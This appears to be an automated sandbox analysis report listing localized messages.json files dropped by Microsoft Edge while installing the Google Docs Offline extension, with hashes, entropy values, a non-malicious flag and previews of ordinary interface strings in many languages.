Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

